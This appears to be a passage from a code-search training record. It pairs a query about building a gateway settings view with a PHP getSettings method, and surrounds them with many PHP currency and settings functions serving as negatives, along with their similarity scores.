setCurrencyCode($currencyCode)\n {\n $this->currencyCode = $currencyCode;\n return $this;\n }", "public static function set_currency($currency) {\n\t\tself::$currency = $currency;\n\t}", "public function setCurrencyCode($var)\n {\n GPBUtil::checkString($var, True);\n $this->currency_code = $var;\n\n return $this;\n }", "public function setCurrency($var)\n {\n GPBUtil::checkInt32($var);\n $this->currency = $var;\n\n return $this;\n }", "function updateCurrency($currency) {\n $el = $this->findElByCode($currency[\"code\"]);\n $el->rate = $currency[\"rate\"];\n $el->timestamp = $currency[\"timestamp\"];\n $this->writeCurrenciesToFile();\n }", "public function setCurrency($currency = NULL) {\n if (($currency === NULL) || is_string($currency)) {\n $this->currency = $currency;\n }\n }", "public function setCurrency(?string $currency): self\n {\n $this->initialized['currency'] = true;\n $this->currency = $currency;\n\n return $this;\n }", "public function withCurrencyCode($currencyCode)\n {\n\n $this->_model['currencyCode'] = $currencyCode;\n return $this;\n }", "public function setCurrency($currency)\n {\n return $this->setData(self::CURRENCY, $currency);\n }", "public function setCurrency(string $currency): self\n {\n $this->options['currency'] = $currency;\n return $this;\n }", "public function setRate($rate, $currencyCode = null){\n $this->rate = (string) $rate;\n $this->currencyCode = (string) $currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->currencyCode;\n }", "public function setCurrency(string $currency) : self\n {\n $this->currency = $currency;\n return $this;\n }", "public function setCurrency(string $currency) : self\n {\n $this->currency = $currency;\n return $this;\n }", "public function setCurrency(string $currency): self\n {\n $this->currency = $currency;\n\n return $this;\n }", "public function setCurrency(?string $currency): self\n {\n $this->currency = $currency;\n\n return $this;\n }", "public function setCurrency(?string $currency): self\n {\n $this->currency = $currency;\n\n return $this;\n }", "private function _update_currency_conversion_rate(){\n\t\t\t$query = \"SELECT `serial_num`, `\".$this->table_fields['currency_iso_code'].\"` as 'currency_iso_code' FROM `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` where `record_status`='1' AND `modification_date` < \".(date(\"U\") - (3600*24));\n\t\t\t$query_settings = array(\n\t\t\t\t'database' => $this->class_settings['database_name'] ,\n\t\t\t\t'connect' => $this->class_settings['database_connection'] ,\n\t\t\t\t'query' => $query,\n\t\t\t\t'query_type' => 'SELECT',\n\t\t\t\t'set_memcache' => 1,\n\t\t\t\t'tables' => array( $this->table_name ),\n\t\t\t);\n \n //get exchange rate\n $all_country_list = execute_sql_query($query_settings);\n\t\t\t$return = array();\n \n\t\t\tif( is_array( $all_country_list ) && ! empty( $all_country_list ) ){\n\t\t\t\t$query_settings['query_type'] = 'UPDATE';\n \n $first = true;\n foreach( $all_country_list as $val ){\n\t\t\t\t\tif( $val['currency_iso_code'] ){\n $json = file_get_contents('http://rate-exchange.appspot.com/currency?from=USD&to='.strtoupper($val['currency_iso_code']) );\n if($json)$cur = json_decode($json, true);\n if( isset( $cur['rate'] ) && $cur['rate'] ){\n $return[] = $cur;\n \n $query_settings['query'] = \"UPDATE `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` SET `\".$this->table_fields['conversion_rate'].\"`= '\".$cur['rate'].\"' WHERE `serial_num`='\".$val['serial_num'].\"' \";\n \n execute_sql_query($query_settings);\n \n if( $first ){\n $query_settings['tables'] = array();\n $query_settings['set_memcache'] = 0;\n $first = false;\n }\n }\n }\n\t\t\t\t}\n \n $this->class_settings[ 'do_not_check_cache' ] = 1;\n $this->_get_country_list();\n }\n \n return $return;\n }", "public function getCurrencyCode(){\n if(!$this->currencyCode){\n return $this->currencyCode = Shop_CurrencySettings::get()->code;\n }\n return $this->currencyCode;\n }", "public function getCurrencyCode()\n {\n return $this->_currencyCode;\n }", "public function set_manual_currency($currency_data = FALSE)\r\n\t{\r\n\t\tif (is_array($currency_data) && ! empty($currency_data))\r\n\t\t{\r\n\t\t\t// Loop through data and set to cart session summary \r\n\t\t\tforeach($currency_data as $column => $column_value)\r\n\t\t\t{\r\n\t\t\t\tif ($column == 'exchange_rate')\r\n\t\t\t\t{\r\n\t\t\t\t\t// Check currency is a postive number\r\n\t\t\t\t\t$this->flexi->cart_contents['settings']['currency']['exchange_rate'] = ($column_value >= 0) ? \r\n\t\t\t\t\t\t$this->format_calculation($column_value, 2, TRUE) : 0;\r\n\t\t\t\t}\r\n\t\t\t\telse if (isset($this->flexi->cart_contents['settings']['currency'][$column]))\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->flexi->cart_contents['settings']['currency'][$column] = $column_value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn TRUE;\r\n\t\t}\r\n\t\t\r\n\t\treturn FALSE;\r\n\t}", "public function setCurrency($currency = 'USD')\n {\n $allowedCurrencies = ['AUD', 'BRL', 'CAD', 'CZK', 'DKK', 'EUR', 'HKD', 'HUF', 'ILS', 'INR', 'JPY', 'MYR', 'MXN', 'NOK', 'NZD', 'PHP', 'PLN', 'GBP', 'SGD', 'SEK', 'CHF', 'TWD', 'THB', 'USD', 'RUB'];\n\n // Check if provided currency is valid.\n if (!in_array($currency, $allowedCurrencies)) {\n throw new \\Exception('Currency is not supported by PayPal.');\n }\n\n $this->currency = $currency;\n\n return $this;\n }", "public function setCurrency($currency)\n {\n $this->currency = $currency;\n return $this;\n }", "public function set_currency($data)\n {\n $required = array(\n 'currency' => 'Currency code not passed',\n );\n $this->di['validator']->checkRequiredParamsForArray($required, $data);\n\n $currencyService = $this->di['mod_service']('currency');\n $currency = $currencyService->getByCode($data['currency']);\n if (!$currency instanceof \\Model_Currency) {\n throw new \\Box_Exception('Currency not found');\n }\n $cart = $this->getService()->getSessionCart();\n\n return $this->getService()->changeCartCurrency($cart, $currency);\n }", "public function setCurrency($currency)\n {\n $this->currency = $this->limitLength($currency, 3);\n return $this;\n }", "public function currency($value) {\n $this->annotations['currency'] = $value;\n return $this;\n }", "public function currency(string $currency): self\n {\n $this->set('currency', $currency);\n\n return $this;\n }", "public function setCurrency($currency)\n {\n if ($this->Status == 'Created') {\n $this->MoneyCurrency = $currency;\n }\n\n return $this;\n }", "public function setCurrency($currency)\n {\n $this::validateLength(self::SHIPPING_METHOD, $currency, 3);\n $this->currency = $currency;\n\n return $this;\n }", "public function setCurrency($currency) {\n\t\t$this->currency = $currency;\n\t\treturn $this;\n\t}", "public function setCurrencyID($currencyID)\n {\n $this->currencyID = $currencyID;\n return $this;\n }", "private function setPremiumCode(){\n for($i = 0; $i < 7; $i++) {\n $this->premiumCode .= rand(1,9);\n };\n $this->discount = 10;\n }", "private function local_rate($currency)\n {\n switch ($currency) {\n case \"gbp\":\n $this->exchange_rate = 1;\n break;\n case \"usd\":\n $this->exchange_rate = 1.3;\n break;\n case \"eur\":\n $this->exchange_rate = 1.1;\n break;\n }\n }", "public function save_currency() {\n\t\t// Validate nonce\n\t\tforminator_validate_ajax( \"forminator_save_popup_currency\" );\n\n\t\tupdate_option( \"forminator_currency\", sanitize_text_field( $_POST['currency'] ) );\n\t\twp_send_json_success();\n\t}", "public function getCurrencyCode() \n {\n return $this->_fields['CurrencyCode']['FieldValue'];\n }", "protected function setSettlementAmount(array $data)\n {\n $this->settlementAmount = CurrencyAndAmount::fromArray($data);\n }", "function set_values() {\n\t\tparent::set_values();\n\t\t$currency = new currency($this->_currency_id);\n\t\t\n\t\t$this->order_id->value = $this->_order_id;\n\t\t$this->timestamp->value = date(\"j M Y\");\n\t\t$this->total_amount->value = $currency->format_money($this->_total_amount);\n\t}", "public function getCurrencyCode()\n {\n return isset($this->currency_code) ? $this->currency_code : '';\n }", "public function updateCurrencyCodeForMoneyObect($currencyCode)\n {\n $countryCode = '';\n $countryObject = CountryPrice_EcommerceCountry::get_real_country();\n if ($countryObject) {\n $countryCode = $countryObject->Code;\n }\n if ($countryCode === '') {\n return null;\n }\n $key = $this->owner->ClassName.'____'.$countryCode;\n if (! isset(self::$_money_object_currency[$key])) {\n if (is_null($currencyCode)) {\n $currency = CountryPrice_EcommerceCurrency::get_currency_for_country($countryCode);\n if ($currency) {\n $currencyCode = strtoupper($currency->Code);\n } else {\n return null;\n }\n }\n self::$_money_object_currency[$key] = $currencyCode;\n }\n return self::$_money_object_currency[$key];\n }", "public function getCurrencyCode();", "public function getCurrencyCode();", "public function getCurrencyCode();", "public function getCurrencyCode()\n {\n return $this->_fields['CurrencyCode']['FieldValue'];\n }", "function ChangeCurrency($amount, $fromCurrency, $toCurrency)\n\t{\n\t\t$result = $this->sendRequest(\"ChangeCurrency\", array(\"Amount\"=>$amount, \"FromCurrency\"=>$fromCurrency, \"ToCurrency\"=>$toCurrency));\t\n\t\treturn $this->getResultFromResponse($result);\n\t}", "public function setOrderCurrencyCode($orderCurrencyCode)\n {\n $this->orderCurrencyCode = $orderCurrencyCode;\n return $this;\n }", "public function setCurrency($currency)\n {\n $this->currency = $currency;\n\n return $this;\n }", "public function setPriceCurrency(?string $priceCurrency): self\n {\n $this->initialized['priceCurrency'] = true;\n $this->priceCurrency = $priceCurrency;\n\n return $this;\n }", "public function update_currency($currency_identifier = FALSE)\r\n\t{\r\n\t\t// Check the currency table exists in the config file and is enabled.\r\n\t\tif ($this->get_enabled_status('currency'))\r\n\t\t{\r\n\t\t\t$currency_data = $this->get_database_currency_data($currency_identifier);\r\n\t\t}\r\n\t\t\t\r\n\t\t// If no currency data has been set by the database lookup, get default values set via config file.\r\n\t\tif (empty($currency_data))\r\n\t\t{\r\n\t\t\t$currency_data = array(\r\n\t\t\t\t'name' => (! empty($this->flexi->cart_defaults['currency']['name'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['name'] : 'Currency',\r\n\t\t\t\t'exchange_rate' => (! empty($this->flexi->cart_defaults['currency']['exchange_rate'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['exchange_rate'] : 1,\r\n\t\t\t\t'symbol' => (! empty($this->flexi->cart_defaults['currency']['symbol'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['symbol'] : '&curren;',\r\n\t\t\t\t'symbol_suffix' => (! empty($this->flexi->cart_defaults['currency']['symbol_suffix'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['symbol_suffix'] : FALSE,\r\n\t\t\t\t'thousand_separator' => (! empty($this->flexi->cart_defaults['currency']['thousand_separator'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['thousand_separator'] : ',',\r\n\t\t\t\t'decimal_separator' => (! empty($this->flexi->cart_defaults['currency']['decimal_separator'])) ? \r\n\t\t\t\t\t$this->flexi->cart_defaults['currency']['decimal_separator'] : '.',\r\n\t\t\t);\r\n\t\t}\r\n\t\t\r\n\t\t### Currency data is now set, even if its a default value.\r\n\t\t\r\n\t\t// Set currency data to cart session settings.\r\n\t\t$this->flexi->cart_contents['settings']['currency']['name'] = $currency_data['name'];\r\n\t\t$this->flexi->cart_contents['settings']['currency']['exchange_rate'] = $currency_data['exchange_rate'];\r\n\t\t$this->flexi->cart_contents['settings']['currency']['symbol'] = $currency_data['symbol'];\r\n\t\t$this->flexi->cart_contents['settings']['currency']['symbol_suffix'] = (bool)$currency_data['symbol_suffix'];\r\n\t\t$this->flexi->cart_contents['settings']['currency']['thousand_separator'] = $currency_data['thousand_separator'];\r\n\t\t$this->flexi->cart_contents['settings']['currency']['decimal_separator'] = $currency_data['decimal_separator'];\r\n\r\n\t\t// If the carts internal default currency settings have not been set (On cart session being initially set).\r\n\t\tif (! isset($this->flexi->cart_contents['settings']['currency']['default']))\r\n\t\t{\r\n\t\t\t$this->flexi->cart_contents['settings']['currency']['default'] = $this->flexi->cart_contents['settings']['currency'];\r\n\t\t\tunset($this->flexi->cart_contents['settings']['currency']['default']['exchange_rate']);\r\n\t\t}\r\n\t\t\r\n\t\treturn TRUE;\r\n\t}", "public function preferredCurrencyCode()\n {\n return CulqiCashier::usesCurrency();\n }", "public function getInvoiceCurrencyCode()\n {\n return $this->invoiceCurrencyCode;\n }", "public function setCode($code)\n {\n // set the code\n $this->_code = $code;\n \n // reset the strings\n $this->trans = array();\n }", "public function getOrderCurrencyCode()\n {\n return $this->orderCurrencyCode;\n }", "public function getOrderCurrencyCode();", "public function currencyCode()\n {\n return $this->_storeManager->getStore()->getCurrentCurrency()->getCurrencyCode();\n }", "public function setRate(string $currency, float $rate)\n {\n $this->rates[$currency] = $rate;\n }", "public function getTargetCurrency();", "public function setToCurrency($toCurrency)\n {\n $this->toCurrency = (string)$toCurrency;\n return $this;\n }", "function currSetCurrentCurrency($currencyID)\r\n{\r\n $_SESSION[\"current_currency\"] = (int)$currencyID;\r\n\r\n if (isset($_SESSION[\"log\"])) {\r\n db_query(\"UPDATE \" . CUSTOMERS_TABLE . \" SET CID=\" . (int)$currencyID .\r\n \" WHERE Login='\" . xEscSQL($_SESSION[\"log\"]) . \"'\");\r\n }\r\n}", "public function getBaseCurrencyCode();", "public function setCoin(string $cryptoCoin);", "public function setBankData($data, $code)\n {\n Mage::getSingleton('ratepaypayment/session')->setDirectDebitFlag(true);\n $this->_setBankDataSession($data, $code);\n Mage::getSingleton('ratepaypayment/session')->setBankdataAfter(false);\n\n }", "public function getCurrentCurrencyCode()\n {\n if ($this->currentCurrencyCode === null) {\n $this->currentCurrencyCode = strtoupper(\n $this->getStore()->getCurrentCurrencyCode()\n );\n }\n\n return $this->currentCurrencyCode;\n }", "public function getCurrencyId()\n {\n return $this->currency_id;\n }", "private function get_currency_code() : string {\n\t\tpreg_match( '/runParams\\.baseCurrencyCode=\"(.*?)\";/s', $this->request, $matches );\n\t\tif ( empty( $matches[1] ) ) {\n\t\t\treturn 'USD';\n\t\t}\n\t\treturn sanitize_text_field( $matches[1] );\n\t}", "public function changeAmountCurrency($amount) {\n $amount_currency = $this->getConnectAmountCurrency();\n return ($amount*$amount_currency);\n }", "public function testCurrencyCode(): void\n {\n $cur = StringHelper::getCurrencyCode();\n StringHelper::setCurrencyCode('€');\n $fmt1 = '#,##0.000\\ [$]';\n $rslt = NumberFormat::toFormattedString(12345.679, $fmt1);\n self::assertEquals($rslt, '12,345.679 €');\n $fmt2 = '$ #,##0.000';\n $rslt = NumberFormat::toFormattedString(12345.679, $fmt2);\n self::assertEquals($rslt, '$ 12,345.679');\n StringHelper::setCurrencyCode($cur);\n }", "public function setCurrencyId($var)\n {\n GPBUtil::checkString($var, True);\n $this->currency_id = $var;\n\n return $this;\n }", "public function setBaseCurrency(SetBaseCurrencyRequest $request)\n {\n $message = $this->exchange_service->updateUserBaseCurrency(\n auth()->user(),\n $request->base_currency\n )->message;\n return Responser::send(200, [], $message);\n }", "private function __getCurrency()\n\t{\n\t\tif($this->currency == null)\n\t\t$this->currency = 1;\n\t\treturn $this->currency;\n\t}", "function setCouponCode($code)\n {\n $this->_coupon = $this->coupon_id = $this->coupon_code = null;\n $this->_couponCode = $code;\n }", "public function getStoreCurrencyCode();" ]
[ "0.7767778", "0.7531012", "0.72986704", "0.7068841", "0.7044449", "0.7044449", "0.6947241", "0.6930994", "0.686739", "0.6830694", "0.67050433", "0.6632512", "0.6523546", "0.6508826", "0.6498434", "0.6498434", "0.6472416", "0.6434767", "0.638117", "0.6335125", "0.6307704", "0.6288172", "0.6288172", "0.6252589", "0.6252589", "0.6252589", "0.61829364", "0.61738944", "0.6028636", "0.59948236", "0.5947371", "0.59316266", "0.58800787", "0.5857281", "0.5848543", "0.5832194", "0.58231443", "0.58231443", "0.58231443", "0.58231443", "0.58231443", "0.5741739", "0.5741739", "0.57352567", "0.57338345", "0.57338345", "0.5718061", "0.57106817", "0.5688244", "0.5685652", "0.56391793", "0.5630546", "0.56208163", "0.5602994", "0.5587646", "0.55838495", "0.55783373", "0.5545899", "0.5545378", "0.5528182", "0.55178857", "0.55135316", "0.549845", "0.5488585", "0.54868376", "0.54595995", "0.54499465", "0.5448975", "0.5437239", "0.5437239", "0.5437239", "0.5435734", "0.5429924", "0.54235786", "0.54221064", "0.5390532", "0.5386851", "0.53805286", "0.5353088", "0.5349228", "0.5345881", "0.5342161", "0.5336662", "0.53339046", "0.5300489", "0.52614343", "0.5257109", "0.5256913", "0.52518296", "0.52454996", "0.52136576", "0.5208131", "0.5205223", "0.5195359", "0.519168", "0.51851994", "0.51831985", "0.5148372", "0.5143838", "0.5143782" ]
0.6407418
18
Create and return the view content required to modify the settings of this gateway
public function getSettings(array $meta=null) { $this->view = $this->makeView("settings", "default", str_replace(ROOTWEBDIR, "", dirname(__FILE__) . DS)); // Load the helpers required for this view Loader::loadHelpers($this, array("Form", "Html")); $this->view->set("meta", $meta); return $this->view->fetch(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function settings()\n {\n $this->authCheck();\n\n $settings = DB::table('site_settings')\n ->get();\n \n $settings=view('admin.settings')\n ->with('settings',$settings);\n\n return view('admin.master')\n ->with('main_content',$settings);\n }", "public function settings_view()\n {\n $this->register_handler('plugin.settingsform', array($this, 'settings_form'));\n $this->register_handler('plugin.settingslist', array($this, 'settings_list'));\n $this->register_handler('plugin.factoradder', array($this, 'settings_factoradder'));\n $this->register_handler('plugin.highsecuritydialog', array($this, 'settings_highsecuritydialog'));\n\n $this->include_script('kolab2fa.js');\n $this->include_stylesheet($this->local_skin_path() . '/kolab2fa.css');\n\n if ($this->check_secure_mode()) {\n $this->api->output->set_env('session_secured', $_SESSION['kolab_2fa_secure_mode']);\n }\n\n $this->api->output->add_label('save','cancel');\n $this->api->output->set_pagetitle($this->gettext('settingstitle'));\n $this->api->output->send('kolab_2fa.config');\n }", "public function settings_page() { ?>\n\n <div class=\"wrap\">\n <?php $this->settings_api->settings_html(); ?>\n </div><?php\n }", "public function index()\n {\n $settings = $this->getSettings(); // if user hasn't any setting then create for him/her\n return view('users.settings')->with(['settings' => $settings]); // return blade with settings\n }", "public function create()\n {\n return view('pages.settings.settings.create');\n }", "public function getSettings()\n {\n $this->view('user.settings');\n }", "private function settings()\n\t{\n\t\tif($_POST)\n\t\t{\n\t\t\t// Available Vews\n config::set('s7n.views', $this->input->post('views'));\n\n\t\t\t// Default Sidebar Title\n config::set('s7n.default_sidebar_title', $this->input->post('default_sidebar_title'));\n\n\t\t\t// Default Sidebar Content\n config::set('s7n.default_sidebar_content', $this->input->post('default_sidebar_content'));\n\n\t\t\tmessage::info(__('Page Settings edited successfully'), 'admin/page/settings');\n\t\t}\n\n\t\t$this->head->title->append(__('Settings'));\n\n\t\t$this->template->title .= __('Settings');\n\t\t$this->template->content = View::factory('page/settings', array(\n\t\t\t'views' => config::get('s7n.page_views'),\n\t\t\t'default_sidebar_title' => config::get('s7n.default_sidebar_title'),\n\t\t\t'default_sidebar_content' => config::get('s7n.default_sidebar_content')\n\t\t));\n\t}", "public function mySettingsPage()\n {\n return view('frontEnd.usersPanel.settings');\n }", "public function create()\n {\n return view('site_settings.create');\n }", "public function create()\n {\n return view('admin.settings.create');\n }", "public function index()\n {\n if (!Gate::allows(Abilities::VIEW)) {\n abort(401);\n }\n $settings = $this->settingsService->index();\n return view('admin.settings')->with('settings',$settings);\n }", "public function index()\n {\n $data = $this->sensitive->first();\n return view('admin.pages.settings', compact('data'));\n }", "public function __invoke()\n {\n $account = Auth::user();\n\n return $this->getView('settings', compact('account'));\n }", "public function index()\n {\n $this->base['ada_settings'] = AdaSettings::get();\n return view('collection::adasettings')->with('base', $this->base);\n }", "public function settingsview() {\r\n $this->logger->info(\"Action Settings View \");\r\n $this->template->display('listsettings', $this->combovalue, 'settings', '');\r\n }", "public function getSettings(){\n $allSettings = GeneralSetting::all();\n \n $settingsArray = array();\n foreach ($allSettings as $settings) {\n $refl3 = new ReflectionObject($settings);\n $prop3 = $refl3->getProperty('attributes');\n $prop3->setAccessible(true);\n $setting = $prop3->getValue($settings);\n array_push($settingsArray, $setting);\n \n }\n $this->layout->content = View::make('admin.settings')->with('settings',$settingsArray);\n }", "public function create()\r\n {\r\n $data = [];\r\n foreach ($this->fields as $field => $default) {\r\n $data[$field] = old($field, $default);\r\n }\r\n return view($this->skin.'.wechat_settings.create',$data);\r\n }", "public function create()\n {\n abort_unless(Gate::allows('setting_create') || Auth::user()->is_superadmin, 403);\n\n return view('admin.settings.create');\n }", "public function index()\n {\n $settings = Setting::all();\n\n return view('backend.settings.edit', [\n 'about' => Setting::get('about'),\n 'twitter' => Setting::get('twitter'),\n 'facebook' => Setting::get('facebook'),\n 'about_image_url' => Setting::get('app_avatar'),\n 'app_contact_email' => Setting::get('app_contact_email'),\n 'google_analytics_code' => Setting::get('google_analytics_code')\n ]);\n }", "public function create()\n {\n // return view('/admin/settings/create');\n }", "function settingsObject()\n\t{\n\t\tglobal $tpl, $ilCtrl, $lng;\n\t\t\n\t\t$editor = $this->object->_getRichTextEditor();\n\t\t\n\t\tinclude_once(\"Services/Form/classes/class.ilPropertyFormGUI.php\");\n\t\t$this->form = new ilPropertyFormGUI();\n\t\t$this->form->setFormAction($ilCtrl->getFormAction($this));\n\t\t$this->form->setTitle($lng->txt(\"adve_activation\"));\n\t\t$cb = new ilCheckboxInputGUI($this->lng->txt(\"adve_use_tiny_mce\"), \"use_tiny\");\n\t\tif ($editor == \"tinymce\")\n\t\t{\n\t\t\t$cb->setChecked(true);\n\t\t}\n\t\t$this->form->addItem($cb);\n\t\t$this->form->addCommandButton(\"saveSettings\", $lng->txt(\"save\"));\n\t\t\n\t\t$tpl->setContent($this->form->getHTML());\n\t}", "public function create()\n {\n $allSettings = Setting::allSettings('core');\n return view('settings.create', [\n 'settings' => $allSettings\n ]);\n }", "public function settings_page_content() {\n\t\t// Common items.\n\t\t$args = [\n\t\t\t'network' => $this->is_network(),\n\t\t];\n\n\t\t// Current tab.\n\t\t$tab = Template::current_tab();\n\n\t\t// Is plugin active network wide.\n\t\t$networkwide = General::is_networkwide();\n\n\t\tswitch ( $tab ) {\n\t\t\tcase 'reports':\n\t\t\t\t$roles = Permission::get_roles();\n\t\t\t\t// If subsites can not over write.\n\t\t\t\tif ( ! Permission::can_overwrite() && $networkwide ) {\n\t\t\t\t\t$selected = (array) beehive_analytics()->settings->get( 'roles', 'permissions', true, [] );\n\t\t\t\t} else {\n\t\t\t\t\t$selected = (array) beehive_analytics()->settings->get( 'roles', 'permissions', $this->is_network(), [] );\n\t\t\t\t}\n\t\t\t\tforeach ( $roles as $role => $data ) {\n\t\t\t\t\t// Leave administrators please. They are powerful.\n\t\t\t\t\tif ( 'administrator' === $role ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( ! in_array( $role, $selected, true ) ) {\n\t\t\t\t\t\tunset( $roles[ $role ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Only applicable on single/sub site.\n\t\t\t\t$args['roles'] = $roles;\n\t\t\t\t$args['dashboard_tree'] = Analytics_Settings::instance()->dashboard_tree();\n\t\t\t\t$args['statistics_tree'] = Analytics_Settings::instance()->statistics_tree();\n\t\t\t\t$args['dashboard_selected'] = beehive_analytics()->settings->get( 'dashboard', 'reports', false, [] );\n\t\t\t\t$args['statistics_selected'] = beehive_analytics()->settings->get( 'statistics', 'reports', false, [] );\n\t\t\t\tbreak;\n\t\t\tcase 'permissions':\n\t\t\t\t$args['roles'] = Permission::get_roles();\n\t\t\t\tbreak;\n\t\t\tcase 'tracking':\n\t\t\t\t$args['settings_page'] = Template::settings_page( 'general', $this->is_network() );\n\t\t\t\t$args['tracking'] = beehive_analytics()->settings->get( 'code', 'tracking' );\n\t\t\t\t$args['network_tracking'] = beehive_analytics()->settings->get( 'code', 'tracking', true );\n\t\t\t\t$args['auto_tracking'] = beehive_analytics()->settings->get( 'auto_track', 'google', $this->is_network() );\n\t\t\t\t$args['auto_tracking_code'] = beehive_analytics()->settings->get( 'auto_track', 'misc', $this->is_network() );\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$anonymize_visible = true;\n\t\t\t\tif ( $networkwide && ! $this->is_network() ) {\n\t\t\t\t\tif ( beehive_analytics()->settings->get( 'anonymize', 'general', true )\n\t\t\t\t\t && beehive_analytics()->settings->get( 'force_anonymize', 'general', true )\n\t\t\t\t\t) {\n\t\t\t\t\t\t$anonymize_visible = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Get Pro Sites levels.\n\t\t\t\t$args['ps_levels'] = $this->is_network() ? Permission::get_ps_levels() : false;\n\t\t\t\t$args['anonymize_visible'] = $anonymize_visible;\n\t\t\t\t$args['networkwide'] = $networkwide;\n\t\t\t\tbreak;\n\t\t}\n\n\t\t// Render network settings content.\n\t\t$this->view( \"settings/tabs/{$tab}\", $args );\n\t}", "public function index()\n\t{\n\t\treturn view('pages.admin.settings', [\n\t\t\t'settings' => \\App\\Settings::first()\n\t\t]);\n\t}", "function settings() \n {\n $api = new Module_UserManagement_API();\n $view = Core_View::factory('usersettings');\n\n $user = $api->getUser();\n\n $settings = array();\n $settings[] = array(\"name\" => 'UserID',\n \"id\" => 'userid', \n \"value\" => $user['userid'], \n \"editable\" => false);\n\n $settings[] = array(\"name\" => 'Password',\n \"id\" => 'password', \n \"value\" => '********', \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Maximum Heart Rate',\n \"id\" => 'max_heartrate', \n \"value\" => $user['max_heartrate'], \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Resting Heart Rate',\n \"id\" => 'resting_heartrate', \n \"value\" => $user['resting_heartrate'], \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Date of Birth',\n \"id\" => 'dob', \n \"value\" => $user['dob'], \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Rider Weight',\n \"id\" => 'rider_weight', \n \"value\" => $user['rider_weight'], \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Bike Weight',\n \"id\" => 'bike_weight', \n \"value\" => $user['bike_weight'], \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Athlete',\n \"id\" => 'athlete', \n \"value\" => $user['athlete'] ? 'Yes' : 'No', \n \"editable\" => true);\n\n $settings[] = array(\"name\" => 'Coach',\n \"id\" => 'coach', \n \"value\" => $user['coach'] ? 'Yes' : 'No', \n \"editable\" => true);\n\n $view->settings = $settings;\n\n echo $view->render();\n }", "public function render_settings_page()\n {\n }", "function showSettings() {\n global $objTemplate,$_ARRAYLANG;\n $template = new \\Cx\\Core\\Html\\Sigma();\n $objTemplate->addBlockfile('ADMIN_CONTENT', 'settings_system', 'settings.html');\n $templateObj = new \\Cx\\Core\\Html\\Sigma(ASCMS_CORE_PATH . '/Config/View/Template/Backend');\n $templateObj->loadTemplateFile('development_tools.html');\n $templateObj->setVariable(array(\n 'TXT_TITLE_SET5' => $_ARRAYLANG['TXT_SETTINGS_TITLE_DEVELOPMENT'],\n 'TXT_DEBUGGING_STATUS' => $_ARRAYLANG['TXT_DEBUGGING_STATUS'],\n 'TXT_DEBUGGING_FLAGS' => $_ARRAYLANG['TXT_DEBUGGING_FLAGS'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_LOG' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_LOG'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_PHP' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_PHP'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_DB' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_DB'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_DB_TRACE' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_DB_TRACE'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_DB_CHANGE' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_DB_CHANGE'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_DB_ERROR' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_DB_ERROR'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_LOG_FILE' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_LOG_FILE'],\n 'TXT_SETTINGS_DEBUGGING_FLAG_LOG_FIREPHP' => $_ARRAYLANG['TXT_SETTINGS_DEBUGGING_FLAG_LOG_FIREPHP'],\n 'TXT_DEBUGGING_EXPLANATION' => $_ARRAYLANG['TXT_DEBUGGING_EXPLANATION'],\n 'TXT_SAVE_CHANGES' => $_ARRAYLANG['TXT_SAVE'],\n 'TXT_RADIO_ON' => $_ARRAYLANG['TXT_ACTIVATED'],\n 'TXT_RADIO_OFF' => $_ARRAYLANG['TXT_DEACTIVATED']\n ));\n if (in_array('SystemInfo', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n if (isset($_POST['debugging'])) {\n $this->updateDebugSettings($_POST['debugging']);\n }\n $this->setDebuggingVariables($templateObj);\n }\n \\Cx\\Core\\Setting\\Controller\\Setting::init('Config', null, 'Yaml', null, \\Cx\\Core\\Setting\\Controller\\Setting::REPOPULATE);\n \\Cx\\Core\\Setting\\Controller\\Setting::storeFromPost();\n \n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'site');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n $_ARRAYLANG['TXT_CORE_CONFIG_SITE'],\n $_ARRAYLANG['TXT_CORE_CONFIG_SITE'],\n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'contactInformation');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n 